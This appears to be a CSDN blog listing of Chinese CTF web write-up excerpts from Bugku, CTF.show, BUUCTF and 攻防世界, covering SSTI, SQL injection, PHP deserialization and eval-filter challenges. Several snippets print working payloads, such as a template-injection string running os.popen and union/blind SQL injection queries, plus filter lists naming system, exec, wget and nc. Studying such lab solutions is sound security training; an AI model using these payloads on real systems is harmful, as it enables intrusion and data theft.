![](https://img-blog.csdnimg.cn/20201014180756757.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
CTF_Web_Writeup
FW_ENJOEY
这个作者很懒,什么都没留下…
展开
-
BUUCTF-做题记录
很久没做题了,还是随便来水一水吧,之前都在学别的。原创 2023-10-17 15:23:43 · 494 阅读 · 0 评论 -
第五届蓝帽杯半决赛部分WP
文章目录RE:ser_leakWEB:杰克与肉丝PWN:coverRE:ser_leak题目是原题:x1-x5:def func2(x): if x == 0: return 0 return (x % 2) + func2(x // 2)def func3(x): return x % 2def func1(N, L, R): if L == R: return L mid = (L + R + 1) // 2 if N < mid * mid: retur原创 2021-06-06 19:41:57 · 1376 阅读 · 3 评论 -
Bugku:Simple_SSTI_2
我超喜欢这种题目的,确实对我这种萌新非常的友好打开后,题目提示存在模板注入先进行ls查看一下存在的文件。/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}发现存在一些文件夹,进行一个个进入查看,运气很好,第一个看的app文件夹里就有flag?flag={{%20config.__class__.__init__.__globals__[%27os%27].po原创 2021-03-10 20:46:45 · 10906 阅读 · 9 评论 -
Bugku:Simple_SSTI_1
很简单的模板注入,直接F12查看提示flag在secret_key下。bugku才是对萌新最友好的平台!!!!原创 2021-03-01 21:35:22 · 8403 阅读 · 14 评论 -
Bugku:web36
有一个登录页面,习惯性先扫扫查看一些include发现存在文件点击进去看不见什么代码,然后再看看别的东西/images里面存在提示。这题应该是有注入的漏洞。当user进行输入的时候,会转换成0,直接输入0时,是没有值的。但是我们可以通过闭合字符串来实现。构造'-0-',对user=’’=0进行闭合。user=''=0user=''-0-''=0此时我们可以构造sql语句来获得密码(这里我不会写,去别的师傅wp看的) admin'-(ascii(MID((passwd)f原创 2021-02-05 22:14:50 · 513 阅读 · 4 评论 -
CTF.show:web1_此夜圆
先看一下源码<?phperror_reporting(0);class a{ public $uname; public $password; public function __construct($uname,$password) { $this->uname=$uname; $this->password=$password; } public function __wakeup() { if($this->password==='yu22原创 2021-02-05 14:24:54 · 551 阅读 · 0 评论 -
CTF.show:萌新:web13
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){ eval($c); }else{ die("cmd error");原创 2021-02-04 22:55:29 · 625 阅读 · 1 评论 -
CTF.show:萌新:web12
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){ eval($c); }else{ die("cmd error"); }原创 2021-02-04 22:16:12 · 344 阅读 · 0 评论 -
CTF.show:萌新:web11
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight|cat/i",$c)){ eval($c); }else{ die("cmd error"); }}else{原创 2021-02-04 22:01:36 · 313 阅读 · 1 评论 -
CTF.show:萌新:web10
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/system|exec|highlight/i",$c)){ eval($c); }else{ die("cmd error"); }}else{ hig原创 2021-02-04 21:50:53 · 340 阅读 · 0 评论 -
CTF.show:萌新:web9
<?php# flag in config.phpinclude("config.php");if(isset($_GET['c'])){ $c = $_GET['c']; if(preg_match("/system|exec|highlight/i",$c)){ eval($c); }else{ die("cmd error"); }}else{ high原创 2021-02-04 21:25:01 · 501 阅读 · 0 评论 -
Bugku:web35
拿到网页习惯性看源代码,发现存在一个admin.css然后进去后发现存在提示进入?28630,发现存在一段源码<?phperror_reporting(0);$KEY='ctf.bugku.com';include_once("flag.php");$cookie = $_COOKIE['BUGKU'];if(isset($_GET['28630'])){ show_source(__FILE__);}elseif (unserialize($cookie) === "原创 2021-01-31 22:39:25 · 252 阅读 · 0 评论 -
Bugku:安慰奖
打开来查看源代码发现提示 YmFja3Vwcw==base64解码后得到:backups扫描一下网站在index.php.bak找到备份文件<?phpheader("Content-Type: text/html;charset=utf-8");error_reporting(0);echo "<!-- YmFja3Vwcw== -->";class ctf{ protected $username = 'hack'; protected $cmd原创 2021-01-30 22:33:29 · 393 阅读 · 0 评论 -
CTF.show:veryphp
先审计一下代码<?phperror_reporting(0);highlight_file(__FILE__);include("config.php");class qwq{ function __wakeup(){ die("Access Denied!"); } static function oao(){ show_source("config.php"); }}$str = file_get_contents("原创 2021-01-28 23:38:18 · 523 阅读 · 0 评论 -
Bugku:web29
题目给了源码<?phphighlight_file('flag.php');$_GET['id'] = urldecode($_GET['id']);$flag = 'flag{xxxxxxxxxxxxxxxxxx}';if (isset($_GET['uname']) and isset($_POST['passwd'])) { if ($_GET['uname'] == $_POST['passwd']) print 'passwd can not be una原创 2021-01-24 21:57:24 · 228 阅读 · 3 评论 -
Bugku:冬至红包
这题是一题代码审计<?php error_reporting(0); require __DIR__.'/flag.php'; $exam = 'return\''.sha1(time()).'\';'; if (!isset($_GET['flag'])) { echo '<a href="./?flag='.$exam.'">Click here</a>'; } else if (strlen($_GET原创 2021-01-21 22:41:58 · 825 阅读 · 6 评论 -
Bugku:web25
这题考的是约束攻击在INSERT中,SQL会根据varchar(n)来限制字符串的最大长度。1、如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符.2、在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。我们先尝试注册一个admin账号,发现不行然后我们通过将admin后面,加入大量的数字和1,进行构造payload账号admin 1密码Aa1234成功覆盖了原创 2021-01-21 22:08:58 · 231 阅读 · 0 评论 -
攻防世界:FlatScience
第一步扫一下目录进入admin.php发现存在一个输入框暂时没什么用进入login.php有个输入框,注入有回显,还报错发现是SQLite3数据库查看页面源码提示去debug得到源码<?phpif(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $db = new SQLite3原创 2021-01-19 23:08:27 · 185 阅读 · 0 评论 -
攻防世界:lottery
有个注册页面,随便注册一下进入任意输入7位数,可以兑奖然后你要多中奖才能买得起flagbp里抓个包,发现数字都是随机的在api.php处发现存在一个弱比较试着传入布尔值{"action":"buy","numbers":[true,true,true,true,true,true,true]}然后就刷了很多钱买一下flag...原创 2021-01-19 22:34:20 · 182 阅读 · 0 评论 -
攻防世界:favorite_number
<?php//php5.5.9$stuff = $_POST["stuff"];$array = ['admin', 'user'];if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|.原创 2021-01-19 22:19:15 · 844 阅读 · 0 评论 -
攻防世界:ics-05
打开来有个页面,随便点点,发现只有一个中心进得去再点一下云平台设备维护中心,发现出现了回显将url里page的值回显了,试一下猜测正确。尝试使用原创 2021-01-18 22:57:59 · 185 阅读 · 2 评论 -
CTF.show:萌新专属红包题
账号密码为admin和admin888.登陆后进行抓包,然后再发一次得到flag把flag进行md5转换一下原创 2021-01-17 22:25:20 · 842 阅读 · 0 评论 -
CTF.show:web14
打开来后执行语句得到提示?c=3当c为3时,不会退出循环,进而执行下一个case语句得到urlhere_1s_your_f1ag.php进入之后发现是一道注入题目查看源代码发现存在提示if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){ die('@A@');老样子先爆库名/here_1s_your_f1ag.原创 2021-01-16 23:12:43 · 365 阅读 · 0 评论 -
CTF.show:红包题第二弹
学习一下知识点:先马住p神的两篇文章一些不包含数字和字母的 webshellhttps://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html无字母数字 webshell 之提高篇https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html这一段Y1ng师傅说的很详细了https://www.gem-love.com/web原创 2021-01-15 23:38:15 · 1534 阅读 · 0 评论 -
CTF.show:web13
扫描后发现存在upload.php.bak.bak文件是备份文件。这里列举一下常见的源码泄露.hg源码泄漏.git源码泄漏.DS_Store文件泄漏.phps .bak结尾的网页<?php header("content-type:text/html;charset=utf-8"); $filename = $_FILES['file']['name']; $temp_name = $_FILES['file']['tmp_name']; $size = $_FILES.原创 2021-01-15 19:14:18 · 1897 阅读 · 0 评论 -
CTF.show:web12
右键查看源代码有提示,试一下cmd=phpinfo();出现回显,采用glob通配符命令得到文件名php的函数glob(); glob() 函数返回匹配指定模式的文件名或目录。举个例子:glob("") 匹配任意文件glob(".txt")匹配以txt为后缀的文件有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入?cmd=print_r(glob("*"));打印出了如下文件尝试进入那个很长的php文件利用highlight_file函数/?cmd=high原创 2021-01-15 18:15:53 · 390 阅读 · 0 评论 -
CTF.show:web11
代码审计<?php function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if(strlen($password)!=strlen(replaceSpecialChar原创 2021-01-15 18:04:34 · 234 阅读 · 0 评论 -
CTF.show:web10
和web9一样。先查看一下源码,右键查看源代码进入style.css发现有index.phps在url处输入后,查看源码得到<?php $flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"原创 2021-01-15 17:49:34 · 706 阅读 · 0 评论 -
CTF.show:web9
打开题目发现有注入框,简单的注入测试后发现没有效果,扫描一下,发现存在robots.txt进入robots.txt查看文件下载后打开发现有源代码<?php $flag=""; $password=$_POST['password']; if(strlen($password)>10){ die("password error"); } $sql="select * from user where username ='admin' and pass原创 2021-01-15 17:21:14 · 583 阅读 · 0 评论 -
CTF.show:web7-web8
web7这题是一题盲注题,对url进行盲注测试从网上找到的师傅的爆表名脚本import requestsurl = "http://1060cceb-f9ef-4fb3-b273-034c74a0bd38.chall.ctf.show/index.php?id=-1'/**/"def db(url): # 爆库名 for i in range(1, 5): for j in range(32, 128): u = "or/**/ascii(s原创 2021-01-15 16:32:24 · 925 阅读 · 0 评论 -
CTF.show:web6
登陆窗,先想到sql注入抓包测试发现失败利用/**/代替空格进行绕过username=admin'/**/or/**/1=1#&password=123456利用联合查询找到回显位置username=admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#&password=123456查数据库名username=admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3原创 2021-01-15 14:43:02 · 440 阅读 · 0 评论 -
CTF.show:web5
页面出来是一段源代码,应该是代码审计的题目 <?php $flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric(原创 2021-01-14 23:39:30 · 267 阅读 · 0 评论 -
CTF.show:WEB:web签到题-web4
ctf.show做题记录web签到题web2web3web签到题查看源码得到flagweb2手抖点到hint索性直接全抄1.查当前数据库名称 ' or 1=1 union select 1,database(),3 limit 1,2;#-- 得到数据库名称web22.查看数据库表的数量' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'原创 2021-01-12 22:21:35 · 2633 阅读 · 1 评论 -
攻防世界:Cat
打开后有个输入框简单测试一下题目提醒了cat那感觉大概率就是要cat /flag了试了一些简单的姿势发现都被过滤了观察一下发现可以修改url会进行自动的解码,于是尝试输入%80发现出现了网页源码复制后新建一个html进行打开没什么思路,看了别的师傅的wp,发现原来题目有提示RTFM of PHP CURL===>>read the fuck manul of PHP CURL???然后别的师傅说了我们使用@进行文件传递,对文件进行读取之后还会把内容传给url参原创 2021-01-11 22:19:56 · 686 阅读 · 0 评论 -
攻防世界:fakebook
打开后注册一个账户,进入个人主页发现上面存在注入点,先试一下改点数字发现存在报错尝试输入view.php?no=1 and 1=1#view.php?no=1 and 1=2#第一个显示正常,第二个报错,确定存在注入开始注入的测试,第一步查 存在的字段,利用order by联合查询,发现5不存在,所以应该为4位字段数。view.php?no=1 order by 5#接着利用联合查询语句想找哪个字段可以回显利用,为了不让我们构造的select语句与原来语句的结果混在一起,将原原创 2021-01-10 23:28:07 · 236 阅读 · 0 评论 -
攻防世界:mfw
打开题目,发现提示了Git,果断上工具扫描用工具扫描发现存在.git用GitHack将网站文件下载下来里面存在一个flag.php再打开源码进行源码的查看,题目存在page参数的接收<?phpif (isset($_GET['page'])) { $page = $_GET['page'];} else { $page = "home";}$file = "templates/" . $page . ".php";// I heard '..' is danger原创 2021-01-10 21:53:58 · 175 阅读 · 1 评论 -
攻防世界:easytornado
题目点开存在三个文件/flag.txt提醒我们flag存在的位置flag in /fllllllllllllag/welcome.txt提醒render,render({options}) 猜测存在模板注入/hints.txt提醒md5(cookie_secret+md5(filename))即先将filenamemd5加密,再将cookie_secret与md5加密后的filename进行md5加密,目前我们需要知道的是filename和cookie_secret,猜测文件名为/flllllll原创 2021-01-07 23:22:41 · 520 阅读 · 5 评论 -
攻防世界:NaNNaNNaNNaN-Batman
题目只给了一个附件,打开后发现存在一串js代码修改后缀为html打开,得到的代码发现存在乱码,因为没有执行$()函数,而只仅仅执行字符串,导致html页面未能正常显示<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<原创 2021-01-07 21:57:16 · 156 阅读 · 0 评论 -
攻防世界:Web_php_unserialize
'/[oc]:\d+:/i'含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写[ ] 是定义匹配的字符范围[oc]是匹配o或c任意一个[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。原创 2021-01-05 22:59:26 · 1297 阅读 · 0 评论 -
BUUCTF:[安洵杯 2019]easy_serialize_php
看题目,应该是和反序列化有关。先查看一下源码 <?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){原创 2020-12-30 22:21:58 · 860 阅读 · 0 评论